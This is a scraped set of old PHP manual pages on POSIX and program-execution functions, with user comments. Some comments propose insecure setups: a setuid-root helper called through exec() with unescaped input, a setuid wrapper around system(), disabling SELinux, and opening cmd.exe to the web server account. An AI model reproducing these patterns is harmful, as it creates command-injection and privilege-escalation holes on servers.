    }
?>
posix_setpgid
posix_setuid
POSIX Functions


Set the UID of the current process

posix_setsid
posix_strerror
POSIX Functions
PHP Manual

posix_setuid

(PHP 4, PHP 5)

posix_setuid — Set the UID of the current process

Description

bool posix_setuid ( int $uid )

Set the real user ID of the current process. This is a privileged function that needs appropriate privileges (usually root) on the system to be able to perform this function.

Parameters

uid

The user id.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 posix_setuid() example

This example will show the current user id and then set it to a different value.

<?php
echo posix_getuid()."\n"; //10001
echo posix_geteuid()."\n"; //10001
posix_setuid(10000);
echo posix_getuid()."\n"; //10000
echo posix_geteuid()."\n"; //10000
?>

See Also

  • posix_setgid() - Set the GID of the current process
  • posix_seteuid() - Set the effective UID of the current process
  • posix_getuid() - Return the real user ID of the current process
  • posix_geteuid() - Return the effective user ID of the current process

User Contributed Notes

fm at farhad.ca 17-Oct-2007 03:44
When you do a posix_setuid from root to some other users you will not have access to files owned by root according to their permissions. For instance if you change owner of the process and still need to open a file for read or write with 600 permission owned by root you will receive a permission denied.
There are some ways to do this (i.e. a unix socket or tcp daemon etc), but probably the most easiest way is:

Open the file before changing ownership of process, save the file pointer in a global variable and use it after changing ownership.

For example assume /root/test_file is a file owned by root:root and have a permission of 600 and you are running this script under root. This code will not work:

<?php
// Change ownership of process to nobody
posix_setgid(99);
posix_setuid(99);

$fd = fopen('/root/test_file','a');
fwrite($fd,"some test strings");
fclose();

?>

But this one will work:

<?php
$fd = fopen('/root/test_file','a');

// Change ownership of process to nobody
posix_setgid(99);
posix_setuid(99);

fwrite($fd,"some test strings");
fclose();

?>

Hope this helps some one.

[Tested on CentOS 5 - Linux 2.6.x - PHP 5.2.x]
reuben @ nospam me 25-Apr-2007 06:25
In response to a note above that advocated the user of system() in a setuid program written in C, this is generally a bad idea for security.

You should use the standard library calls like execl() instead because system() can be manipulated to execute the wrong thing using the SHELL, IFS and possibly other variables.
TheWanderer 09-Feb-2007 04:16
On many UNIX systems (tested on Debian GNU/Linux), SUID is disabled for scripts and works only for binaries. If you need to setuid, you must use a wrapper binary that runs setuid() php script. Here's an example:

$ nano suexec.cpp
#include <stdlib>
using namespace std;
int main()
{
system("php /home/php/php_user.php");
return 0;
}

$ g++ -o suexec suexec.cpp
$ sudo chown root:root suexec
$ sudo chmod 4755 root

Then we create short PHP script to set process uid (you should already know how to do this). Don't even try to experiment with auto_prepend_file in php.ini, it doesn't work as expected.
hpaul/at/abo/dot/fi 29-Jul-2006 11:56
It seems like this function returns true if you try to change uid to the already active user - even if you aren't root.

Should save you one if-statement in some cases.
rjmooney at syr dot edu 09-Nov-2003 03:40
For simple operations, you can easily create a privilege-separation mechanism to perform commands that require elevated privileges.

For example, in creating a document repository, I had the need to provide access to certain directory and file operations based on a user's login name.  It's unrealistic and unsecure to provide the web server access to all of the directories that the user may need to access, so I created a setuid() script to perform the required operations for me.

An exerpt from the code demonstrates this:

<?

//
// main.php
//

// Perform a privileged stat()
function privsep_stat($path)
{
        // Call the privilege separation program, ask for a stat of the specified path
        $serialized_result = exec("/path/to/privsep.php stat " . $path, $oa, $return_code);
        if ($return_code != 0)
        {
                return false;
        }

        // Return the unserialized object
        return unserialize($serialized_result);
}

// Get file statistics on a file we don't have access to as the web server user
$st = privsep_stat("/private_directory/private_file");
print_r($st);

?>

privsep.php looks like this:

#!/usr/local/bin/php
<?

//
// privsep.php
//

// Don't allow this script to be run from the web
if (isset($_SERVER['REQUEST_METHOD']))
{
    print "<br>This program is not intended to be run directly from the WWW.\n";
    return 1;
}

// TODO: add your argument validation here

// A stat was requested
if ($argv[1] == "stat")
{
    // Reset the stat() cache
    clearstatcache();

    // Original user ID
    $original_uid = posix_get_uid();

    // Set our real user ID to root
    $success = posix_setuid(0);
    if (!$success)
    {
        print "Error: Cannot setuid().\n";
        return 1;
    }

    // Store the file statistics
    $st = stat($argv[2]);

    // Drop the real UID back to the calling user ID
    $success = posix_setuid($original_uid);
    if (!$success)
    {
        print "Error: Cannot setuid().\n";
        return 1;
    }

    // Drop the effective UID as well
    $success = posix_seteuid($original_uid);
    if (!$success)
    {
        print "Error: Cannot seteuid().\n";
        return 1;
    }

    // Serialize the result and print it
    $result = serialize($st);
    print $result;

    // Success!
    return 0;
}
?>

Finally, privsep.php's permissions are configured like this:

# chown root:wheel privsep.php
# chmod 4755 privsep.php

And look like this:

-rwsr-xr-x  1 root      wheel     1000 Nov  1 00:00 privsep.php

It's probably wise to keep privsep.php out of your document root to help mitigate any successful attack.

This method can be extended for other functions.  Use at your own risk.
simon at dont-spam-me-pleease dot simonster dot com 02-Aug-2002 03:53
Here's some Perl code to run a PHP script setuid. Just put it into a CGI, make that CGI setuid and executable, then call the CGI where you would usually call the PHP script.

#!/usr/local/bin/perl

# Perl wrapper to execute a PHP script setuid
# ©2002 Simon Kornblith
# Requires PHP CGI

# Make UID = EUID (so that PHP can run system()s and execs() setuid)
$< = $>;
# Set this to the path, so that we can't get poisoned
$ENV{'PATH'} = "/home/httpd/cgi-bin/ssl/admin";
# Open the PHP script (must start with !#/usr/local/bin/php or similar and
# be executable
open(STDOUT, "| /home/httpd/cgi-bin/ssl/admin/new.php");
# Write STDIN to PHP script
print while <STDIN>;
posix_setsid
posix_strerror
POSIX Functions


Retrieve the system error message associated with the given errno

posix_setuid
posix_times
POSIX Functions
PHP Manual

posix_strerror

(PHP 4 >= 4.2.0, PHP 5)

posix_strerror — Retrieve the system error message associated with the given errno

Description

string posix_strerror ( int $errno )

Returns the POSIX system error message associated with the given errno. You may get the errno parameter by calling posix_get_last_error().

Parameters

errno

A POSIX error number, returned by posix_get_last_error(). If set to 0, then the string "Success" is returned.

Return Values

Returns the error message, as a string.

Examples

Example #1 posix_strerror() example

This example will attempt to kill a process which does not exist, then will print out the corresponding error message.

<?php
posix_kill(50,SIGKILL);
echo posix_strerror(posix_get_last_error())."\n";
?>

The above example will output something similar to:

No such process

See Also

  • posix_get_last_error() - Retrieve the error number set by the last posix function that failed

User Contributed Notes

There are no user contributed notes for this page.
posix_setuid
posix_times
POSIX Functions


Get process times

posix_strerror
posix_ttyname
POSIX Functions
PHP Manual

posix_times

(PHP 4, PHP 5)

posix_times — Get process times

Description

array posix_times ( void )

Gets information about the current CPU usage.

Return Values

Returns a hash of strings with information about the current process CPU usage. The indices of the hash are:

  • ticks - the number of clock ticks that have elapsed since reboot.
  • utime - user time used by the current process.
  • stime - system time used by the current process.
  • cutime - user time used by current process and children.
  • cstime - system time used by current process and children.

Notes

Warning

This function isn't reliable to use, it may return negative values for high times.

Examples

Example #1 Example use of posix_times()

<?php

$times = posix_times();

print_r($times);
?>

The above example will output something similar to:

Array
(
    [ticks] => 25814410
    [utime] => 1
    [stime] => 1
    [cutime] => 0
    [cstime] => 0
)

User Contributed Notes

brain at winbot dot co dot uk 26-Jun-2004 06:14
doesnt work with freebsd. as stated above the clock ticks at different intervals on different platforms.

for system uptime consider piping the uptime command or similar, depending on if performance is an issue or not.
not_rich_yet at hotmail dot com 19-Jul-2003 04:21
If you want the output to be 'grammatically correct' then try the following code.  It will eg print '1 minute' as opposed to '1 minutes', the same goes for days and hours:

Put the following code somewhere in the head of the page code:

<?php
function uptime() {
if (!$times = posix_times() ) {
return ("unknown");
} else {
$now = $times['ticks'];
$days = intval($now / (60*60*24*100));
$remainder = $now % (60*60*24*100);
$hours = intval($remainder / (60*60*100));
$remainder = $remainder % (60*60*100);
$minutes = intval($remainder / (60*100));
if ($days == 1) {$writeDays = "day";} else {$writeDays = "days";}
if ($hours == 1) {$writeHours = "hour"; } else {$writeHours = "hours";}
if ($minutes == 1) {$writeMins = "minute";} else {$writeMins = "minutes";}
return ("$days $writeDays, $hours $writeHours, $minutes $writeMins");
}
}
?>

Then put this bit where you want the info displayed:

<?php
print uptime();
?>

Regards,

nry
murphy at nmc-online dot co dot uk 17-Jun-2003 11:01
I am not sure why, and it could just be me but on my FreeBSD system using
$time = posix_times();
$time['ticks'] is an enormous value that bears no relation to the system uptime (I tested by rebooting the system,  the number does not change).
I checked my timecounters, they tick every 10.000msec and I did the maths on the returned value and it suggested the machine had been up for over 200 days - it was reformatted about a week ago.
This could be to do with FreeBSD, or *BSD, or just *idiots like me but just check before you use the function.
 ~
FreeBSD 5.1-R, Apache 2.0.46, PHP4.3.2
rossz+php at vamos-wentworth dot org 20-Nov-2002 01:42
This function will return the system uptime as a human readable string such as "172 days, 18 hours, 15 minutes".  I didn't bother to handle singular so the grammar could be a bit off, e.g. 1 hours.

function uptime() {
  if (!$times = posix_times()) {
    return ("unknown");
  } else {
    $now = $times['ticks'];
    $days = intval($now / (60*60*24*100));
    $remainder = $now % (60*60*24*100);
    $hours = intval($remainder / (60*60*100));
    $remainder = $remainder % (60*60*100);
    $minutes = intval($remainder / (60*100));
    return ("$days days, $hours hours, $minutes minutes");
  }
}
posix_strerror
posix_ttyname
POSIX Functions


Determine terminal device name

posix_times
posix_uname
POSIX Functions
PHP Manual

posix_ttyname

(PHP 4, PHP 5)

posix_ttyname — Determine terminal device name

Description

string posix_ttyname ( int $fd )

Returns a string for the absolute path to the current terminal device that is open on the file descriptor fd.

Parameters

fd

The file descriptor.

Return Values

On success, returns a string of the absolute path of the fd. On failure, returns FALSE

User Contributed Notes

casper at bcx dot nl 19-Apr-2006 07:10
<?php
    var_dump( posix_ttyname(STDOUT) );
?>

returns:
string(10) "/dev/pts/0"

When using pseudo terminal 1 (ie ssh)
posix_times
posix_uname
POSIX Functions


Get system name

posix_ttyname
Program execution
POSIX Functions
PHP Manual

posix_uname

(PHP 4, PHP 5)

posix_uname — Get system name

Description

array posix_uname ( void )

Gets information about the system.

Posix requires that assumptions must not be made about the format of the values, e.g. the assumption that a release may contain three digits or anything else returned by this function.

Return Values

Returns a hash of strings with information about the system. The indices of the hash are

  • sysname - operating system name (e.g. Linux)
  • nodename - system name (e.g. valiant)
  • release - operating system release (e.g. 2.2.10)
  • version - operating system version (e.g. #4 Tue Jul 20 17:01:36 MEST 1999)
  • machine - system architecture (e.g. i586)
  • domainname - DNS domainname (e.g. example.com)

domainname is a GNU extension and not part of POSIX.1, so this field is only available on GNU systems or when using the GNU libc.

Examples

Example #1 Example use of posix_uname()

<?php
$uname=posix_uname();
print_r($uname);
?>

The above example will output something similar to:

Array
(
    [sysname] => Linux
    [nodename] => funbox
    [release] => 2.6.20-15-server
    [version] => #2 SMP Sun Apr 15 07:41:34 UTC 2007
    [machine] => i686
)

User Contributed Notes

boards at gmail dot com 29-Jan-2006 09:24
Or, a simpler way to do that:

<?php
print_r(posix_uname());
?>

Should print something like:

Array
(
    [sysname] => Linux
    [nodename] => vaio
    [release] => 2.6.15-1-686
    [version] => #2 Tue Jan 10 22:48:31 UTC 2006
    [machine] => i686
)
sean at thedesignpeople dot com 09-Aug-2004 08:39
A simple example of how to loop thru and display the results of the posix_uname() function...

<?php
foreach(posix_uname() AS $key=>$value) {
    print $key .": ". $value ."<br>";
}
?>

The procedure above should return something similar to the following results:

sysname: Linux
nodename: node1
release: 2.4.26
version: #6 Mon Jun 14 19:07:27 PDT 2004
machine: i686
posix_ttyname
Program execution
POSIX Functions


System program execution

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Program execution Functions
    • escapeshellarg — Escape a string to be used as a shell argument
    • escapeshellcmd — Escape shell metacharacters
    • exec — Execute an external program
    • passthru — Execute an external program and display raw output
    • proc_close — Close a process opened by proc_open and return the exit code of that process
    • proc_get_status — Get information about a process opened by proc_open
    • proc_nice — Change the priority of the current process
    • proc_open — Execute a command and open file pointers for input/output
    • proc_terminate — Kills a process opened by proc_open
    • shell_exec — Execute command via shell and return the complete output as a string
    • system — Execute an external program and display the output

User Contributed Notes

Joe Engel 31-Dec-2008 02:46
If you try to launch GUI apps from a service in Vista, you'll have lots of trouble.  As a security feature, Vista mediates the interaction of services with the desktop using 'Interactive Services Detection'.

That means, if you are running PHP as a module of an Apache service, you won't be able to launch GUI apps using any method.  This kind of thing just won't work:

$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("notepad.exe", 7, false);

So, if you want to use Apache/PHP as a proxy for launching GUI apps, you'll need to run Apache as a console application.

First, if Apache is already installed as a service, you'll need to set it's startup type to "manual" using the services snap-in.  (%SystemRoot%\system32\services.msc)  Search for Services in the start menu search box.

Then add a shortcut to C:\apache\bin\httpd.exe (or wherever Apache is installed) to your Startup folder, and set that shortcut to start minimized. You can use an app like TrayIt! to force Apache down into the system tray.

Then use any of the methods outlined on the PHP website and you will be able to open a Windows application from PHP and see it's GUI.
posix_uname
Introduction
Process Control Extensions


Introduction

Those functions provide means to execute commands on the system itself, and means to secure such commands.

Note:

All execution functions call the commands through cmd.exe under Windows. Therefore the user calling these functions needs appropriate privilege to run this command. The only exception is proc_open() with bypass_shell option.

User Contributed Notes

There are no user contributed notes for this page.
Program execution
Installing/Configuring
Program execution


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Program execution


Resource Types

This extension defines a process resource, returned by proc_open().

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Program execution Functions
Program execution


Program execution Functions

Notes

Warning

Open files with lock (especially open sessions) should be closed before executing a program in the background.

See Also

These functions are also closely related to the backtick operator. Also, while in safe mode you must consider the safe_mode_exec_dir directive.

Table of Contents

  • escapeshellarg â€” Escape a string to be used as a shell argument
  • escapeshellcmd â€” Escape shell metacharacters
  • exec â€” Execute an external program
  • passthru â€” Execute an external program and display raw output
  • proc_close â€” Close a process opened by proc_open and return the exit code of that process
  • proc_get_status â€” Get information about a process opened by proc_open
  • proc_nice â€” Change the priority of the current process
  • proc_open â€” Execute a command and open file pointers for input/output
  • proc_terminate â€” Kills a process opened by proc_open
  • shell_exec â€” Execute command via shell and return the complete output as a string
  • system â€” Execute an external program and display the output

User Contributed Notes

benkitzelman at yahoo dot co dot uk 20-Aug-2010 08:02
Within Linux, when calling the php interpreter directly from popen, or other program execution function to execute a script, it appears as though the script perpetually fails and re-executes.

i.e. <?php popen("php myscript.php&", "w"); // fail ?>

As each re-execution causes the executing script to load under a new PID, it is incredibly difficult to identify and kill the process manually.

[One solution is] to ensure the executing script has a valid shebang, and execute permissions. This allows you to execute the script directly

i.e. <?php popen("./myscript.php", "w"); // ok ?>
Anonymous 09-Jul-2008 10:34
I found this comment on this page:

[begin of quote]
Trying to us the following code failed badly with various results: like "unable to fork", "access denied", "empty results", depending on what settings I used, ... even though the same code worked from command line on the server itself.

$retstr = exec('nslookup -type=mx myhost.com', $retarr);

Instead of nslookup I believe this would apply to most programs from the \system32\ directory.

I had to learn that the following finally worked:
$retstr = exec('c:\php\safedir\nslookup -type=mx myhost.com', $retarr);

... but only under the listed preconditions:
1: nslookup.exe is placed (copied) in the directory \php\safedir\
2: the directory \php\safedir\ is included in the system PATH environement variable
3: the file cmd.exe is placed in \php\ as listed by other notes above
4: the directory "c:\php\safedir\" is set in the php.ini setting
safe_mode_exec_dir = "c:\php\safedir\"
.. maybe set in php-activescript.ini as well, depending on your system setup.
5: nslookup is referenced by the full path as otherwise the file from \windows\system32\ will be called. This happend to me with empty result due to missing rights!

Hope this helps somebody saving some time and headaches.
[end of quote]

This is just to complicated. Only two things are needed:
1. Specific permissions for the IUSR account for read & execute to the cmd.exe in C:\Windows\System32 directory
2. Specific permissions for the IUSR account for read & execute to the command that's needed (example: nslookup.exe in C:\Widnows\System23 directory)

With just this two conditions the exec works fine

(This is for an IIS server running on a windows platform)
mosesdinakaran at yahoo dot co dot in 17-Mar-2008 06:49
Hi

     I had  problem with executing   exec(),shell_exec() (PHP is not running on Safe Mode).

     After spending some time I was able to find out that the Problem is  with SELinux enabled in my system.

      You can make sure about this by seeing the log  /var/log/messages
     So I disabled SELinux and now everything works.

     A Temporary  Disable to selinux #> setenforce 0;

     Since I felt this is not a good Idea I still went through some sites and find a solution which I felt good.

     Fedora's SELinux policy has some booleans - let's see what it has for our apache:
# /usr/sbin/getsebool -a | grep httpd
allow_httpd_anon_write -- off
allow_httpd_mod_auth_pam -- off
allow_httpd_sys_script_anon_write -- off
httpd_builtin_scripting -- on
httpd_can_network_connect -- off
httpd_can_network_connect_db -- off
httpd_can_network_relay -- off
httpd_disable_trans -- off
httpd_enable_cgi -- on
httpd_enable_ftp_server -- off
httpd_enable_homedirs -- on
httpd_rotatelogs_disable_trans -- off
httpd_ssi_exec --off
httpd_suexec_disable_trans -- off
httpd_tty_comm -- off
httpd_unified -- on

   From the above we can make sure that exec() is not working  because of this httpd_ssi_exec -- off   setting
  So I turned it On.

#> setsebool -P httpd_ssi_exec 1;

    Now I was able to see the output of shell_exec('ls -al')

Moses
luko post cz 29-Jan-2008 06:15
to lancelot:

it's simple exec($my_cmd) on windows executes 'cmd /c $my_cmd'
if there are any spaces in $my_cmd you have to put it in doublequotes:
cmd /c "$app $target" will work

further if there are any spaces in $app and $target they also have to be in doublequotes:
cmd /c ""$app" "$target""

therefore enclose your $cmd in two more doublequotes and dont forget to escape slashes \\

$cmd = "\"\"C:\\my path with spaces\\targetapp.exe\" \"C:\\mypathnospaces\\targetfile.xxx\"\"";

and exec($cmd) will work :)
no chdir anymore...
lancelot--du-lac at hotmail dot fr 24-Jan-2008 11:00
The note is about usage of exec() under windows...

In replay to k dot mitz dot NO_SPAM at att dot NO_SPAM dot net: why not enclose your $cmd in simple quotes instead?

Here is where i'm at right now (also TRYING to use exec() and passthru() on windows XP sp2):

you can do this:

$cmd = '"C:\my path with spaces\targetapp.exe" C:\mypathnospaces\targetfile.xxx';
exec($cmd);

The above works.
________

Or, you can put your script into your directory C:\my path with spaces\, and work with php directly from there:

$cmd = 'targetapp.exe "C:\my other path with spaces\targetfile.xxx"';
exec($cmd);

The above also works, provided of course your script has the correct working directory.
________

But... In your cmd.exe, you can issue:

"C:\my path with spaces\targetapp.exe" "C:\my other path with spaces\targetfile.xxx"

Although the above works perfectly in the cmd, the following php script does NOT work on my system:

$cmd = '"C:\my path with spaces\targetapp.exe" "C:\my other path with spaces\targetfile.xxx"';
exec($cmd,&$content);

Not that it sends an error, it just does nothing, and you get nothing written into your $content array... Not that I do understand why.
________

As far as my few tryings go, the root of the problem lies in the fact that the command to execute has two passages enclosed inside double quotes. Another command which I've had working in the cmd but NOT with php is:

'"C:\my path with spaces\Apache2\bin\Apache.exe" -w -n "Apache2" -k restart'

Maybe someone has a solution; I don't (other than using chdir).
jakster at gmx dot net 05-Jan-2008 04:56
To fork a process I use the following code

<?php

fclose(STDOUT);   //Close all output or it WON'T work
fclose(STDIN);
fclose(STDERR);

if(pcntl_fork()) {
    exit;            //Return to the caller
}

//Code to run in the background

pcntl_exec("/usr/bin/php",Array($_SERVER['argv'][1]));

?>

I call this script from my website with
<?php
function fork($script){        //run a forked php script relative to the document root. NO OUTPUT IS DISPLAYED!
    global $config;
    $cmd = "/usr/bin/php \"" . dirname($_SERVER['SCRIPT_FILENAME']) . "/includes/forked/forkHelper.php\" \"" . $script . "\"";
    exec($cmd);
}
?>
Odie 14-Dec-2007 12:22
When I switched our server over from running cgi mode to FastCGI I found that my exec function was no longer working in one area. I found that even when IUSR_X had read access to the appropriate areas, it could not execute the file.

Permissions on files don't seem to matter with FastCGI. You have to move any executables and files that they access outside of wwwroot. My problem was that I was running an executable that was reading a file in my web directory.
Max_R 26-Sep-2007 07:21
Just a small notice, when running PHP under MS Windows
some external command-line utilities (like 'ffmpeg.exe') output all info to stderr instead of stdout. In my case it caused apache error.log overfilling with lots of unsolicited records.
It has just taken some time for me to make the utility silent:
Simply add
">NUL 2>&1"
to the very end of your command line. It makes cmd.exe to redirect stderr to stdout and then, in one's turn, redirect stdout to NULL.

Hope this tip will save some time when dealing with such utilities.
steve dot robinson at frogneck dot com 21-May-2007 07:46
If you are trying to use exec to run a cgi and output the contents via a php file, headers need to be seperated from the content and output seperately.

Also, at least in the case of the cgi I was attempting to execute, line feeds were missing, and some javascript didn't work as a result, so you may have to add line feeds back into the resulting output.  Here is the code I used to output my cgi properly...

<?PHP
putenv('REQUEST_METHOD=GET');

// to get your parameters passed into the cgi..
putenv('QUERY_STRING=' . $_SERVER['QUERY_STRING']);

//you will know you are past the header when you
//hit a blank line ('')
$inheader=true;
foreach($output as $val){
        if($val=='')
                $inheader=false;
        if($inheader)
                header($val);
        else
                echo($val . "\n"); // output contents
}
?>
php at fendy dot org 02-May-2007 05:51
Scheduling WinXP tasks with schtasks.exe and using PHP to execute the command, may sometime fail to work.

This is because, Apache does not have the privilege to access some of the System Files when placing the scheduling. The way I'd do: is by creating a normal user account and assign Apache service to logon as that account.

Open the 'services.msc' in the 'Run' window, look for Apache in the listing, right click and get to 'Properties'. Click at the second tab 'Log On' and fill in the 'This account' fields.

Of course, Apache needs to be installed as Service during its first setup.

Hope this helps anyone.

Fendy Ahmad
pawel_do_not at spam_me_lenart dot pl 24-Apr-2007 04:51
You must remember that if you're running your own compiled C programs and you don't get any output you probably do it like this:

printf("some text");

shell_exec and similiar functions won't display it, you must do your output as follows:

fprintf(stdout, "some text");

and then shell_exec and so will correctly read stdout (spent an hour wondering why my program isn't working when connected with PHP :)
29-Jan-2007 08:16
it seams to me the best way would be to copy cmd.exe to a secure directory somewhere under your web directory, add it to the windows path and then call it from there using system commands. It seams as though that would get arround any security holes
Rafael Palacios 29-Jan-2007 06:52
Here is a way to collect all the output of a command (standard output and standard error):

$command="your command goes here";
$output=shell_exec($command." 2>&1");  //system call
print "<pre>$output</pre>\n";          //show output
Matt-kun 08-Dec-2006 10:50
Just a simple note to help people get rid of some headaches.

when using:
<?
       $filepath = "the path of the file";
       exec("program -command $filepath ");
       fopen($filepath,rw);
?>

Make sure you use  "\ " ( \ space) for the Linux\unix path and just " " space for fopen. These are both very basic things that you wouldn't normally think to cause a problem, but when you try to pass slashes to fopen it either breaks or even better works incorrectly =D. And vise versa for any programs that use "\ " for spaces in file paths/names.

I ran into this problem when using <? exec(" cp $path "); ?> and <? fopen("$path"); ?>. To fix it I used str_replace(" ","\ ",$path); and str_replace("\ ", " ",$path);

*Note this is alot of sudo code, and there are faster more effecient ways of doing the same operations, but I thought this might help those who were going crazy over filepaths =D.
PHP at jyoppDot-com 04-Oct-2006 10:38
Here's a function to launch a low-priority background process very simply, returning control to the foreground.  I found that a lot of the other approaches shown here allow the script to continue running, and the page is served up to the user, but the PHP thread that launched the process cannot be re-used until the process has completed.  Stdout and stderr need to be redirected to /dev/null to prevent this.

This is for BSD/*NIX servers only (tested on Fedora Core and OSX).  Win32 approaches would be necessarily very different.  Omit 'nice' if you don't want to run the process with lowered priority.

<?php
function fork($shellCmd) {
    exec("nice $shellCmd > /dev/null 2>&1 &");
}
?>
t dot kramer at NOSPAM dot safetbus dot de 21-Sep-2006 02:21
Trying to us the following code failed badly with various results: like "unable to fork", "access denied", "empty results", depending on what settings I used, ... even though the same code worked from command line on the server itself.

$retstr = exec('nslookup -type=mx myhost.com', $retarr);

Instead of nslookup I believe this would apply to most programs from the \system32\ directory.

I had to learn that the following finally worked:
$retstr = exec('c:\php\safedir\nslookup -type=mx myhost.com', $retarr);

... but only under the listed preconditions:
1: nslookup.exe is placed (copied) in the directory \php\safedir\
2: the directory \php\safedir\ is included in the system PATH environement variable
3: the file cmd.exe is placed in \php\ as listed by other notes above
4: the directory "c:\php\safedir\" is set in the php.ini setting
safe_mode_exec_dir = "c:\php\safedir\"
.. maybe set in php-activescript.ini as well, depending on your system setup.
5: nslookup is referenced by the full path as otherwise the file from \windows\system32\ will be called. This happend to me with empty result due to missing rights!

Hope this helps somebody saving some time and headaches.
Thomas
Arjan van Bentem 12-Jul-2006 12:38
When using Red Hat Fedora, beware of Security Enhanced Linux, SELinux.

Quoted from Red Hat: "The security goal is to make sure that Apache HTTP is only reading the static Web content, and not doing anything else such as writing to the content, connecting to database sockets, reading user home directories, etc."

These limitations include, among many other things, using exec to run external applications that happen to use sockets (or maybe access some files) such as HylaFAX "faxstat" as invoked from nweb2fax recvq.php and sendq.php.

For debugging, one could try running such commands using PHP Shell (see http://mgeisler.net/php-shell/) which might fail while execution from the real command line (as Unix user apache or httpd) yields no problem whatsoever.

See /var/log/messages for any denials due to the SELinux policy. To disable it:

- System, Administration, Security Level and Firewall
- open the SELinux tab
- click the Transition tree
- check Disable SELinux protection for Apache HTTP
- execute /etc/init.d/httpd restart

See also http://fedora.redhat.com/docs/selinux-faq/ and http://php.net/results.php?q=selinux&p=wholesite
judas dot iscariote at gmail dot com 01-Jun-2006 12:19
This functions are generally considered harmful,without proper input validation procedures are as worse as eval().

If what you are trying to do is possible using other mechanism, ** do it that way, even if it takes more time **.

Do not cry or blame PHP if your server gets "owned" due to a missing escapeshell*** in your code , you have been warned.
manokan at manokan dot net 17-Apr-2006 10:09
Lets make it even clearer, about the "unable to fork" error in exec().

By default Windows XP sets all permissions for cmd.exe for the temporary internet user account (IUSER-[computername]) to DENY. That overrides everthing.

You must modify the security on cmd.exe to give the IUSER-computername account at least read & execute and remove the DENY.
not at any dot com 23-Feb-2006 12:16
at LAST!  tenacity pays off, days trying every little thing!

I didn't want batch files.  I'm trying to use PHP to get rid of batch files.

I didn't want to call a file to parse the parameters to call a shell to call a file.  I've got "systems" right now with batches tiered three and five deep.

I just wanted to run stuff.

CALL, tested on WinXP, will be testing on more OSes right away, in PHP4 and 5, with exec, system, works with popen, and passthru.

here is my lame sample function.

//  CreateZip
    function createzip ($target, $archive)
    {   $ziputil = "call \"c:\\Program Files\\7-zip\\7z.exe\"";
        $archived = escapeshellarg($archive);
        $targeted = escapeshellarg($target);

        $shellcommand= $ziputil." a -tzip ".$archived." ".$targeted."\n";

  // all of the below are working in Win XP Pro
    passthru ($shellcommand);
    exec ($shellcommand);
    system ($shellcommand);
    shell_exec ($shellcommand);
    $proc= popen ($shellcommand, "r"); //$proc contains output

LONG PATH NAMES WITH SPACES IN THEM ON WINDOWS!

all in a big long concatenated command line with multiple quoted-filename parameters

shell scripting bliss!
mtupker at yahoo dot com 24-Jan-2006 12:21
I got the system() function to execute commands, but the command I want to execute is the massive dsadd command below.

for /F "eol=; tokens=1,2,3,4,5,6,7,8 delims=," %a in (output.txt) do dsadd user "cn=%b %a,ou=Testing,dc=mtmercy,dc=edu" -samid %a%b -fn %a -ln %b -display "%b, %a" -pwd %d -email %a%b@mtmercy.edu -disabled no -empid %c -desc Student

I've had limited success creating users in MS active directory 2003 so I decided to try dsadd. The problem is the quotes that are in the command itself as well as the % signs. The quotes are interpreted by php and the % signs are interpreted wrong in batch files. Any thought on this would be appricated.
dragomirov at tiscali dot it 23-Jan-2006 03:52
IT's great Anthony, your function works even under a *nix machine. You only need to modify like that
<?php
function callTool ($path,$file)
{
   chdir($path); $call = $path.$file;
   pclose(popen($call.' &', 'r'));
}
?>
The command goes in bakground and the script is still running.

Thanx a lot!
Anthony Catel (paraboul at gmail dot com 09-Jan-2006 07:40
<?php
    function system_o($cmd)
    {
        exec("$cmd", $f);
        foreach($f as $output) {
            $output = htmlentities($output);
            $ret .= "$output\n";
        }
        return $ret;
    }
?>

You can parse the output
afineman at computer dot org 15-Dec-2005 12:09
In response to the comment by 'daniel dot hopp at godot dot de' regarding the use of start-stop-daemon to exec a process within a session:

start-stop-daemon will probably not be a good choice.  start-stop-daemon with the --start option will not start the daemon if any matching process is found.  In other words, if you are using it to start a process running 'myscript', and there is another instance of 'myscript' found in the process table, start-stop-daemon will *not* start another process and will return 1, unless --oknodo is set.

Check out a man page for start-stop-daemon.
rymfaxe (at) hotmail (dot) com 04-Dec-2005 08:50
Starting batch or exe files (from a local Apache server 1.3.24 with PHP 4.3.1) to be executed within WinXP SP2 and having the program running in background - which certainly is tricky.

I figured this peace of code makes it very possible.
Instead of using exec() I prefered popen() adding the parameter /b which makes it run in the background, thus having PHP script continued to be interpreted contrary to be hanging in the process.

<?php
function callTool ($path,$file) {
    chdir($path); $call = $path.$file;
    pclose(popen('start /b '.$call.'', 'r'));
}

// -- Call tool1 -----
$location = "c:\path\to\desired\folder";
$filename = "\tool1.exe";
callTool($location,$filename);

// -- Call tool2 -----
$location = "c:\path\to\desired\folder";
$filename = "\tool2.bat";
callTool($location,$filename);

// -- Call tool3 -----
$location = "c:\path\to\desired\folder";
$filename = "\tool3.com";
callTool($location,$filename);
?>

This example assumes that the Apache properties locally has bin told to 'allowe this server to interact with desktop' which on WinXP is to be set under Start > Run > services.msc - next, right click "Apache...", select properties and click on the 'login tab'.

Hope someone to benefit out of this stuff.
valqk at lozenetz dot org 24-Nov-2005 04:05
If you are chrooting php into enviornment that doesn't have /bin/sh you can't execute any command! Even when you call
mail() and it calls sendmail ... well actually sendmail NEVER gets called because /bin/sh is not in the chroot!
SO in conclusion: YOU MUST HAVE /bin/sh TO EXECUTE SOMETHING!!!
VERY IMPORTNAT!
I've lost few days while find this, hope it helps someone!!!
ripat at lumadis dot be 07-Nov-2005 11:54
About the background functions below, many hosting service disable the exec or passthru functions.

It is still possible to run a script in background by sending a 200 OK header to the client’s browser.

Here is how:

<?php

header("HTTP/1.1 200 OK");
header("Content-Length: 0");
flush();

// code to be run in background here
// and, of course, no output to the client’s browser from here.
?>

And if you need to output something to the client’s browser before executing the code in the background:

<?php

header("HTTP/1.1 200 OK");

$text = 'Your html code here';

// IE hack to get the flush to work. Not needed for FF.
$text = strlen($text) > 256 ? $text : str_pad($text, 256);

ob_start();
  echo $text;
  $size = ob_get_length();
  header("Content-Length: $size");
ob_end_flush();
flush();

// code to be run in background starts here.
